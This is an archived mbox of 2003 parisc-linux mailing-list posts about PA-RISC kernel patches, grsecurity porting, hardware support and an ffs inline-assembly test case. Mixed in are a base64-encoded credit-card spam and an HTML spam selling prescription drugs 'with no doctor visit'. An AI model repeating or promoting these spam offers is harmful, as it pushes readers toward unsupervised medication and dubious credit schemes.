IG5lZWQgYW5vdGhlci4gTm8gdHVybiBEb3duITxicj4NClRoZSBlY29ub215IGlzIHRvdWdo
IE5vIHNlY3VyaXR5IGRlcG9zaXRzIE5vIGZpbmFuY2UgY2hhcmdlczxicj4NClNvIG1ha2Ug
WW91ciBMaWZlIG5vIHByb2JsZW08L2NlbnRlcj48YnI+DQo8Y2VudGVyPlRoaXMgaXMgWW91
ciBDaGFuY2UgdG8gQ2hhbmdlIFlvdXIgbGlmZSEgdG8gPGEgaHJlZj0iaHR0cDovL3d3dy5z
aW1wbGVjYXJkLmJpeiI+c2VlDQpub3c8L2E+PC9jZW50ZXI+PC9wPg0KPHAgYWxpZ249ImNl
bnRlciI+DQo8YSBocmVmPSJodHRwOi8vd3d3LnNpbXBsZWNhcmQuYml6Ij4NCjxpbWcgYm9y
ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cuc2ltcGxlY2FyZC5iaXovY3JlZGl0LmdpZiIgYWx0
PSJhc2RmYXMgc2FkZmFzZGYgYXNmYXNkYSBhc2RmYXNkZiBzZmRzZGYgYXNmZGFzZGZhc2Rm
IGFzZmRhc2RmYXMgIj48L2E+PC9wPg0KPHA+PGEgaHJlZj0iaHR0cDovL3NpbXBsZWNhcmQu
Yml6L3B1bmlzaC91bnN1dWJzY3JpYmUucGhwIj5uIG8gbSBhIGkgbDwvYT48L3A+DQoNCjxm
b250IHNpemU9IjIiPnRyYW5zcG9zYWJsZWluZGllcyZuYnNwOw0KPC9mb250Pg0KPHA+DQoN
Cjxmb250IHNpemU9IjIiPnNlcnZvZ3Vtc2hvZQ0KPC9mb250Pg0KPC9wPg0KPHA+PGZvbnQg
c2l6ZT0iMiI+dGFvaXN0c2V2aWxsZTwvZm9udD48L3A+DQo8cD48Zm9udCBzaXplPSIyIj50
bHVtbCBza3Bpb3diZXdtcW92cnZldiBpbnZvbHV0ZTwvZm9udD48L3A+DQo8cD48Zm9udCBz
aXplPSIyIj5jYXRpb255cWdpbXh6aXdtIGZnd2NyaiAgbmwgIHhxdnogdSBrZiAgbHNrciA8
L2ZvbnQ+PC9wPg0KPHA+PGZvbnQgc2l6ZT0iMiI+Z3VhcmRpYW5wYXN0cnk8L2ZvbnQ+PC9w
Pg0KPHA+PGZvbnQgc2l6ZT0iMiI+Y29uc3VsdHNjYW08L2ZvbnQ+PC9wPg0KPC9ib2R5Pg0K
PC9odG1sPg0KbnF2d2Rldmd1aW5wenNxYg0KDQpnYmJjDQpteCBzDQogIHJ6d3Eg



--EDA.C5B642DF16.4_--



From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.0-test2-pa0: __canonicalize_f_f_c patch
Date: Sat, 2 Aug 2003 10:11:35 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20030802081135.GJ1873@lug-owl.de>
References: <3F056E95000057BB@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="cgXXEQ20Gie/H8Jj"
X-Trace: ger.gmane.org 1416622643 28691 80.91.229.3 (22 Nov 2014 02:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  2 02:11:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 501CB482D
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Aug 2003 02:11:36 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 4409E4A94A; Sat,  2 Aug 2003 10:11:35 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3F056E95000057BB@ocpmta4.freegates.net>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19082

--cgXXEQ20Gie/H8Jj
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-07-28 16:30:14 +0200, Joel Soete <jsoe0708@tiscali.be>
wrote in message <3F056E95000057BB@ocpmta4.freegates.net>:
Hi!

> +
> +	.export __canonicalize_funcptr_for_compare
> +	.text
> +	/* http://lists.parisc-linux.org/hypermail/parisc-linux/10916.html
> +	**	GCC 3.3 and later has a new function in libgcc.a for
> +	**	comparing function pointers.
> +	*/
> +__canonicalize_funcptr_for_compare:
> +#ifdef __LP64__
> +	bve (%r2)
> +#else
> +	bv %r0(%r2)
> +#endif
> +	copy %r26,%r28

Is this now checked in? At my last cvs update
(:pserver:anonymous@cvs.parisc-linux.org/var/cvs, linux-2.5), this
hasn't shown up...

By the way, is anybody here going to go to Oldenburg(.de) to join the
developer's meeting[1]?

MfG, JBG
[1] http://oldenburger.linuxtage.de/devel.html

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--cgXXEQ20Gie/H8Jj
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/K3I2Hb1edYOZ4bsRAhiLAKCJnfCQKhokGN/1yd3y4YIjfZq77QCgjNBS
Ruqsl4rewW5QyfcKfhU2YK0=
=aCpO
-----END PGP SIGNATURE-----

--cgXXEQ20Gie/H8Jj--


From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] grsecurity 1.9.11 patches for 2.4.21pa8
Date: Sun, 3 Aug 2003 22:22:18 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20030803202217.GA16476__48654.399594716$1416622643$gmane$org@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622643 28695 80.91.229.3 (22 Nov 2014 02:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  3 14:22:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96B6448B1
	for <parisc-linux@parisc-linux.org>; Sun,  3 Aug 2003 14:22:45 -0600 (MDT)
Original-Received: from fwd00.aul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 19jPNI-0000hr-01; Sun, 03 Aug 2003 22:22:40 +0200
Original-Received: from nikita.ath.cx (XVstwiZGYe9pPyNIkeJRiPjfSKKJ422gk53KfwmBVI4wnW0Tn7zDUv@[217.89.6.195]) by fmrl00.sul.t-online.com
	with esmtp id 19jPN3-0wrq9A0; Sun, 3 Aug 2003 22:22:25 +0200
Original-Received: from nikita.ath.cx (localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) with ESMTP id h73KMLhh005667;
	Sun, 3 Aug 2003 22:22:21 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) id h73KMJik005034;
	Sun, 3 Aug 2003 22:22:19 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Seen: false
X-ID: XVstwiZGYe9pPyNIkeJRiPjfSKKJ422gk53KfwmBVI4wnW0Tn7zDUv@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19083

hi lists,

i just finished and tested the grsecurity porting of 1.9.11 to parisc.

http://nikita.ath.cx/users/pappy/grsecurity-parisc/parisc-linux-2.4.21-pa8-grsecurity-1.9.11.patch

it is supposed to be one of the last (if not the last) splitbrain grsecurity kernel patch to parisc-linux source.

Thanks to Randolph Chung (tausq), Matthew Wilcox (willy), pipacs, spender and all the other developers who helped me getting used to parisc-linux and the grsecurity patches, thus bridging the gap between the parisc-linux.org kernel and the vanilla tree for this security oriented linux patch.

i hope that 2.6.x will have parisc-linux melted into the mainstream kernel and thus grsecurity patches will apply natively to the kernel.

then this work will not be needed any more and i can sit back and relax.

thank you all,

Alex
-- 
A long-forgotten loved one will appear soon.
Buy the negatives at any price.


From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ard van Breemen <ard@kwaak.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A4308A nic
Date: Mon, 4 Aug 2003 07:47:56 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20030804054756.GO27784@kwaak.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622644 28698 80.91.229.3 (22 Nov 2014 02:17:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  3 23:48:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.kwaak.net (fia171-26.dsl.hccnet.nl [62.251.26.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id F23D34844
	for <parisc-linux@parisc-linux.org>; Sun,  3 Aug 2003 23:48:35 -0600 (MDT)
Original-Received: from ard by mail.kwaak.net with local (Exim 3.35 #1 (Debian))
	id 19jYCK-00041x-00
	for <parisc-linux@parisc-linux.org>; Mon, 04 Aug 2003 07:47:56 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19084

Hi,
I just installed debian on my D250.
Those guys making the network install realy did a good job...
It almost worked out of the box. The only cullprit was that it
crashed on a bluefish FWD scsi controller not having any
terminators on the bus...

Allright,
But now I see this A4308A, a real surprising card, and what I
find more surprising is that I did not find it on the
mailinglist.
The card is an EISA card, which contains a PLX EISA9032, probably
an EISA to PCI bridge (and not v.v.!), an intel 82556, and an LSI
L5A4242. I can understand the plx and the intel, but the LSI?
If I search for these items, I find some 3com EISA cards with the
LSI L5A4242 for sale, not mentioning the intel etc. ...
So I reckon the LSI should be some kind of processor?
I've got some pictures of it (in a few hours actually, my
upstream is not that big):
http://nerdcentral.nerdnet.nl/~avb/2003-08-04.00/

Things I want:
- Any confirmation that it is not supported yet. (Eh, and of
  course that I am not making a fool of myself because I could
  have RTFMd :-) ).
- Anyone with docs on the 3com card.
- If possible on the A4308A card.
- PLX EISA9032, I cannot find it on www.plxtech.com...

And thanks for giving me the pleasure for having an hp9000 :-)
-- 
mail          up  260+18:54,     8 users,  load 0.00, 0.19, 0.93
mistar1     down   29+18:54
Let your government know you value your freedom: sign the petition:
http://petition.eurolinux.org



From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Estelle Riggs" <xh50lojz@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux@parisc-linux.org
Date: Mon, 04 Aug 2003 12:52:06 +0500
Lines: 14
Approved: news@gmane.org
Message-ID: <4018ny6s94$9-7-2-v6679fp7$8@y9pj.l.c9.m.6u>
Reply-To: "Estelle Riggs" <xh50lojz@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_DACE__.307AEDDC_D21C"
X-Trace: ger.gmane.org 1416622644 28710 80.91.229.3 (22 Nov 2014 02:17:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:24 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  3 23:58:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id A749C4844
	for <parisc-linux@parisc-linux.org>; Sun,  3 Aug 2003 23:58:19 -0600 (MDT)
Original-Received: from lsanca2-ar37-4-46-203-196.lsanca2.dsl-verizon.net (lsanca2-ar37-4-46-203-196.lsanca2.dsl-verizon.net [4.46.203.196])
	by cuprel1.hp.com (Postfix) with SMTP id 71FC9C08
	for <parisc-linux@parisc-linux.org>; Sun,  3 Aug 2003 22:58:16 -0700 (PDT)
Original-Received: from [201.196.23.208] by lsanca2-ar37-4-46-203-196.lsanca2.dsl-verizon.net with ESMTP id 84907237; Mon, 04 Aug 2003 12:52:06 +0500
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19085

--_DACE__.307AEDDC_D21C
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<center><p><font face=3D"Arial, Helvetica, sans-serif">Get prescription me=
dications online<br>
  shipped overnight to your door with no doctor visit<br>
  <a href=3D"http://www.medzservice.biz">phentermine, ultram, xenical and =
more</a><br>
  </strong></a></font></p>

--_DACE__.307AEDDC_D21C--



From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Mon, 4 Aug 2003 14:37:13 +0400
Lines: 14
Approved: news@gmane.org
Message-ID: <3F6F4712B759A34ABD453A8B39C10D62C4670F@bagman.edm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622644 28721 80.91.229.3 (22 Nov 2014 02:17:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 04:37:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gate.algorithm.aelita.com (unknown [212.176.18.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7FD1482E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Aug 2003 04:37:12 -0600 (MDT)
Original-Received: from bagman.edm.com ([10.0.0.4]) by gate.algorithm.aelita.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-12345L500S10000V35)
          with ESMTP id com for <parisc-linux@lists.parisc-linux.org>;
          Mon, 4 Aug 2003 14:37:04 +0400
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Help: Need instruction sequence for gdb breakpoint  
Thread-Index: AcNadHMdXimXlTGST+aTextgIrj62w==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19086

Hello all!
I badly need pa-risc 1.1 instruction sequence suitable for gdb.
I would like to implement "hard breakpoint".=20
I tried "BREAK 4,8" - gdb stops but can't continue.
Any help will be appreciated!

Sincerely,=20
----
Lev Assinovsky
Aelita Software Corporation
O&S Core Division, Programmer
ICQ# 165072909



From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: Mon, 4 Aug 2003 12:43:10 +0200
Lines: 142
Approved: news@gmane.org
Message-ID: <3F29178A00000A99@ocpmta7.freegates.net>
References: <20030801171426.GA18508@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622644 28723 80.91.229.3 (22 Nov 2014 02:17:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:24 +0000 (UTC)
Cc: "James Bottomley" <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org, lamont@hp.com
To: lamont@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 04:43:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id F14F1482E
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 04:43:22 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19jclq-0008UC-00; Mon, 04 Aug 2003 12:40:54 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 4 Aug 2003 12:43:10 +0200
In-Reply-To: <20030801171426.GA18508@security.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19087

Hi pa,

Here is a combine test case:

#include <stdio.h>

/**
 * __ffs - find first bit in word.
 * @word: The word to search
 *
 * Undefined if no bit exists, so code should check against 0 first.
 */
/* static __inline__ unsigned long ffs26(unsigned long word) */
unsigned long ffs_hppa26(unsigned long word)
{
        unsigned long result = 0;

        if (word)
/* I add this exception condition */
            while (!(word & 1UL)) {
                    result++;
                    word >>= 1;
            }
        return result;
}
/*
 * ffs: find first bit set. This is defined the same way as
 * the libc and compiler builtin ffs routines, therefore
 * differs in spirit from the above ffz (man ffs).
 */

static inline int generic_ffs(int x)
{
        int r = 1;

        if (!x)
                return 0;
        if (!(x & 0xffff)) {
                x >>= 16;
                r += 16;
        }
        if (!(x & 0xff)) {
                x >>= 8;
                r += 8;
        }
        if (!(x & 0xf)) {
                x >>= 4;
                r += 4;
        }
        if (!(x & 3)) {
                x >>= 2;
                r += 2;
        }
        if (!(x & 1)) {
                x >>= 1;
                r += 1;
        }
        return r;
}

int fastffs(int x)
{
  int ret=0;
  __asm__(" ldi    31,%1\n"
    " extru,<>  %0,31,16,%%r0\n"
    " extru,TR  %0,15,16,%0\n"
    " addi    -16,%1,%1\n"
    " extru,<>  %0,31,8,%%r0\n"
    " extru,TR  %0,23,8,%0\n"
    " addi    -8,%1,%1\n"
    " extru,<>  %0,31,4,%%r0\n"
    " extru,TR  %0,27,4,%0\n"
    " addi    -4,%1,%1\n"
    " extru,<>  %0,31,2,%%r0\n"
    " extru,TR  %0,29,2,%0\n"
    " addi    -2,%1,%1\n"
    " extru,=  %0,31,1,%%r0\n"
    " addi    -1,%1,%1\n"
    : "=r" (x), "=r" (ret)
    : "0" (x), "1" (ret));

  return ret;
}

doffs(x)
{
  printf("fastffs(%d)==%d\n",x,fastffs(x));
  printf("ffs_hppa26(%d)==%d\n",x,ffs_hppa26(x));
  printf("generic_ffs(%d)==%d\n",x,generic_ffs(x));
  printf("\n");
}

main()
{
  int i;
  for (i=0;i<5;i++)
    doffs(i);
  for (;i;i<<=1)
    doffs(i);
}

And I am confused by results:

fastffs(0)==31
ffs_hppa26(0)==0
generic_ffs(0)==0

I presume that we also have to consider an exception for 0?

[...]
fastffs(1)==0
ffs_hppa26(1)==0
generic_ffs(1)==1

fastffs(2)==1
ffs_hppa26(2)==1
generic_ffs(2)==2

fastffs(3)==0
ffs_hppa26(3)==0
generic_ffs(3)==1

fastffs(4)==2
ffs_hppa26(4)==2
generic_ffs(4)==3

[...]

So in all other case fastffs or ffs_hppa26 == generic_ffs - 1.
What is right?

Thanks for additional attention,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@hp.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: Mon, 4 Aug 2003 09:14:49 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20030804151449.GS18508@security.hp.com>
References: <20030801171426.GA18508@security.hp.com> <3F29178A00000A99@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622645 28727 80.91.229.3 (22 Nov 2014 02:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:25 +0000 (UTC)
Cc: lamont@hp.com, James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 09:14:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F039482E
	for <parisc-linux@parisc-linux.org>; Mon,  4 Aug 2003 09:14:51 -0600 (MDT)
Original-Received: from security.hp.com (security.hp.com [15.238.4.200])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 844061C00D2E; Mon,  4 Aug 2003 11:14:50 -0400 (EDT)
Original-Received: by security.hp.com (Postfix, from userid 1000)
	id C36D7B18E7; Mon,  4 Aug 2003 09:14:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F29178A00000A99@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19088

On Mon, Aug 04, 2003 at 12:43:10PM +0200, Joel Soete wrote:
>   int ret=0;
>   __asm__(" ldi    31,%1\n"

Make it say 32,%1...  Mistake in understanding things on my part...

> And I am confused by results:
> fastffs(0)==31
> ffs_hppa26(0)==0
> generic_ffs(0)==0
> 
> I presume that we also have to consider an exception for 0?

yes.

lamont


From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
